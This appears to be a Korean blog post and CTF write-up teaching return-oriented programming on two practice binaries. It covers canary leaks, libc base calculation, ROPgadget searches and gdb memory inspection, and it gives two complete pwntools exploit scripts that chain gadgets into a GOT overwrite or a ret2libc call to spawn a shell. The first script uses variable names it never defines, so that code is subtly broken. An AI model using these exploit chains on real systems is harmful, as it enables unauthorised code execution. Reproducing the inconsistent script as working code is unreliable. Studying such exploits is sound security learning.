프로그램의 코드영역에 존재하는 가젯들을 모아서 공격자가 원하는 기능을 수행하도록 하는 코드 재사용 기법이다. 또한, 다양한 공격 기법을 ROP를 사용해 연계할 수 있다.
$ checksec rop
[*] '/mnt/c/Users/pdh/Desktop/ROP/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
위 코드는 위는 Dreamhack - rop 문제에서 제공하는 'rop.c' 코드이다. 먼저 이 문제를 분석해보자.
system 함수를 호출하는 부분과 '/bin/sh'를 정의하는 전역 변수가 포함되어 있었으나 Dreamhack - rop 문제에는 해당 부분이 빠져있다. 따라서 다른 곳에서 system 함수 주소와 '/bin/sh' 문자열을 가져와야 한다.문제 코드를 봤을 때 'binsh' 전역 변수와 system 함수 호출을 제외하면 코드 자체는 Dreamhack - Return to Library 문제와 거의 같았다. 위에서 ROP 기법을 '가젯들을 모아서 공격자가 원하는 기능을 수행하도록 하는 기법' 이라고 설명했다. 따라서 우리는 우리가 원하는 기능을 수행할 가젯들을 찾아내야 한다.
read@got 함수 주소를 알아낸다.read@got 함수를 system 함수 주소로 덮어 씌운다.system 함수를 실행시킨다.셸을 따는 과정은 위와 같다.
카나리 릭은 이전 RTL 포스트와 딱히 다르지 않기 때문에 해당 포스트를 참고하도록 하자. 문제 코드에서 read 함수와 write 함수를 사용하고 있기 때문에 이를 이용하여 필요한 가젯과 함수 주소를 알아낼 것이다.
먼저 우리는 read@got 함수 주소를 알아내야 한다.
GOT(Global Offset Table)와 PLT(Procedure Linkage Table)에 대해서는 나중에 따로 다룰 예정인데 일단 이 포스팅에서는 그냥 PLT는 코드 영역, GOT는 데이터 영역에 존재하며 함수의 실제 주소를 저장한다고 보면 된다. 즉, 함수를 실행시키려면 PLT 주소를, 기존 함수의 주소를 바꾸려면 GOT 주소가 필요하다는 뜻이다.
현재 문제 파일에는 PIE가 설정되어 있지 않기 때문에 함수의 PLT 주소는 몇 번을 실행해도 바뀌지 않을 것이다. 하지만 외부 라이브러리(libc 파일)에서 함수를 가져와서 사용하고 있기 때문에 ASLR 보호 기법에 의해 함수의 GOT 주소는 실행할 때마다 변경되게 된다. 그러니 우리는 PLT 주소는 오프셋 그대로 사용하고, GOT 주소는 따로 페이로드 실행 후 구해줄 것이다.
$ ROPgadget --binary ./rop --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
P$ ROPgadget --binary ./rop --re "ret"
Gadgets information
============================================================
0x0000000000400596 : ret
$ ROPgadget --binary ./rop --re "pop rsi"
Gadgets information
============================================================
0x0000000000400851 : pop rsi ; pop r15 ; ret
from pwn import *
p = remote('서버명', 포트 번호)
e = ELF('./rop')
libc = ELF('./libc.so.6')
#Canary leak
buf = b'A' * 57
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
#가젯 정리
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
pop_rdi = 0x0000000000400853
ret = 0x0000000000400596
pop_rsi_r15 = 0x0000000000400851
#dummy + canary + padding(원래 SFP 주소)
payload = b'A' * 56 + p64(cnry) + b'B' * 8
#'write(1, got_read, 임의 값)' 실행
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(got_read) + p64(0)
payload += p64(plt_write)
#'read(0, got_read, 임의 값)' 실행
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(got_read) + p64(0)
payload += p64(plt_read)
#'system('/bin/sh\x00')' 실행
payload += p64(pop_rdi)
payload += p64(got_read + 8)
payload += p64(ret)
payload += p64(plt_read)
p.sendafter(b'Buf: ', payload)
#'write(1, got_read, 임의 값)' 실행 후 read 함수의 GOT 주소를 받아오는 부분
read = u64(p.recvn(6) + b'\x00' * 2)
#libc 베이스 주소 계산(ASLR 우회)
base = read - libc.symbols['read']
#system 함수 주소 계산
system = base + libc.symbols['system']
#'read(0, got_read, 임의 값)'에서 입력 값을 받을 때 보내지는 부분
#system address(got_read) + '/bin/sh\x00'(got_read+8)
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
실행 순서는 아래와 같다.
write(1, got_read, 임의 값) 실행read(0, got_read, 임의 값) 실행system('/bin/sh\x00') 실행이 문제는 ROP 기법과 GOT overwrite 공격을 함께 사용해서 셸을 따는 문제 예시이다.
이 문제는 대학 선배에게 받은 ROP 관련 문제이다. 이것도 한 번 풀어보자.
$ checksec chall
[*] '/mnt/c/Users/pdh/Desktop/ROP/rop_ex/stuff/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
char nbytes[72]; // [rsp+Ch] [rbp-54h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
while ( 1 )
{
puts("How much???");
__isoc99_scanf("%u", nbytes);
puts("ok... now send content");
read(0, &nbytes[4], *(unsigned int *)nbytes);
nbytes[*(unsigned int *)nbytes + 4] = 0;
puts(&nbytes[4]);
puts("wanna do it again?");
__isoc99_scanf("%u", nbytes);
if ( *(_DWORD *)nbytes != 1337 )
break;
puts("i knew it");
}
return 0;
}
먼저, C코드는 따로 없어서 IDA를 사용하여 C코드를 확인해 준다. 이 코드를 보면 입력 크기를 먼저 입력 받고, 그 안에 내용을 입력 받는 행동을 조건문에 부합할 때까지 무한 반복하는 코드이다. 이 코드를 어떻게 사용할 지 분석해 보자.
read(0, &nbytes[4], *(unsigned int *)nbytes); 이 부분에서 입력받을 값의 크기를 사용자가 지정할 수 있으며, 그 값을 제한하지 않아 버퍼 오버플로우를 일으킨다.위를 바탕으로 어떻게 셸을 딸 지 고민해 보자. 일단 코드를 봤을 때, system 함수를 사용하지 않고 있다. 즉, 우리는
system 함수를 실행시켜서 셸을 딴다.$ ROPgadget --binary ./chall --re "pop rdi"
Gadgets information
============================================================
Unique gadgets found: 0
$ ROPgadget --binary ./chall --re "pop rsi"
Gadgets information
============================================================
Unique gadgets found: 0
위를 보면 아쉽게도 필요한 가젯들이 문제 파일에는 존재하지 않아서 라이브러리 파일에서 찾아오도록 하자.
$ ldd ./chall
linux-vdso.so.1 (0x00007ffc78993000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2c99476000)
/lib64/ld-linux-x86-64.so.2 (0x00007f2c996b7000)
위처럼 ldd 명령어를 사용하면 해당 파일이 사용하는 공유 라이브러리의 목록과 경로 및 메모리 주소를 볼 수 있다. 이제 해당 파일에서 가젯을 찾아주면 된다. 그러기 위해선 우린 라이브러리의 베이스 주소를 알아내야 한다. 해당 베이스 주소를 찾아내는 방법을 알아보자.
먼저, gdb에서 read(0, &nbytes[4], *(unsigned int *)nbytes); 부분에 브레이크 포인트를 걸고 알아낼 수 있는 libc 주소를 찾아야 한다.
gef➤ x/100gx $rsp
0x7fffffffdbf0: 0x0000555555554040 0x00000064f7fe283c
0x7fffffffdc00: 0x4141414141414141 0x4141414141414141
0x7fffffffdc10: 0x4141414141414141 0x0a41414141414141
0x7fffffffdc20: 0x0000000000000002 0x000000001f8bfbff
0x7fffffffdc30: 0x00007fffffffdfe9 0x0000000000000064
0x7fffffffdc40: 0x0000000000001000 0x2e2cd6548207ab00
0x7fffffffdc50: 0x0000000000000001 0x00007ffff7daad90
...
일단 대충 'A'를 여러 개 입력해주고 rsp 레지스터를 확인해 줬다. 'A'가 들어간 부분 뒤 쪽을 확인해보면 '0x00007ffff7daad90'라는 뭔가 libc 주소일 것 같은 의심스러운 주소를 볼 수 있다.
gef➤ vmmap 0x00007ffff7daad90
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007ffff7da9000 0x00007ffff7f3e000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
vmmap으로 확인해보니 libc 함수 주소인 걸 알 수 있다. 이 주소를 카나리 릭 하듯이 릭해주고, 해당 주소 값에서 오프셋을 빼주면 베이스 주소를 구할 수 있다.
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007ffff7d81000 0x00007ffff7da9000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
vmmap 명령어로 libc 파일이 로드된 시작 주소를 알아내고, 거기서 프로그램 실행 전 libc 주소를 빼면 오프셋을 알 수 있다.
즉, 오프셋 값은 '0x00007ffff7daad90 - 0x00007ffff7da9000 = 0x29d90'이므로 '0x29d90' 이다.
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --re "pop rdi"
Gadgets information
============================================================
0x000000000002a3e5 : pop rdi ; ret
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --re "ret"
Gadgets information
============================================================
0x0000000000029139 : ret
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"
1481: 0000000000050d70 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
```python
from pwn import *
p = process('./chall')
e = ELF('./chall')
r = ROP(e)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#카나리 릭
buf = b'A'*73
p.sendlineafter(b'How much???', b'100')
p.sendafter(b'ok... now send content', buf)
p.recvuntil(buf)
cnry = u64(b'\00' + p.recvn(7))
#다시 시작
p.sendlineafter(b'wanna do it again?', b'1337')
#libc 주소 릭
payload1 = b'A' * 72 + b'B' * 16
p.sendlineafter(b'How much???', b'100')
p.sendafter(b'ok... now send content', payload1)
p.recvuntil(payload1)
addr = u64(p.recvn(6) + b'\00' * 2)
libc_base = addr - 0x29d90
print(hex(addr))
#다시 시작
p.sendlineafter(b'wanna do it again?', b'1337')
#가젯 찾기
pop_rdi = libc_base + 0x2a3e5
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
ret = libc_base + 0x29139
payload2 = b'A' * 72 + p64(cnry) + b'B' * 8
payload2 += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'How much???', b'200')
p.sendafter(b'ok... now send content', payload2)
p.sendlineafter(b'wanna do it again?', b'0')
p.interactive()
이 문제는 ROP 기법과 RTL 기법이 함께 쓰인 예시라고도 볼 수 있다. 사실 필자는 RTL과 ROP가 완전히 다른 기법이라고 생각하지 않기는 하다..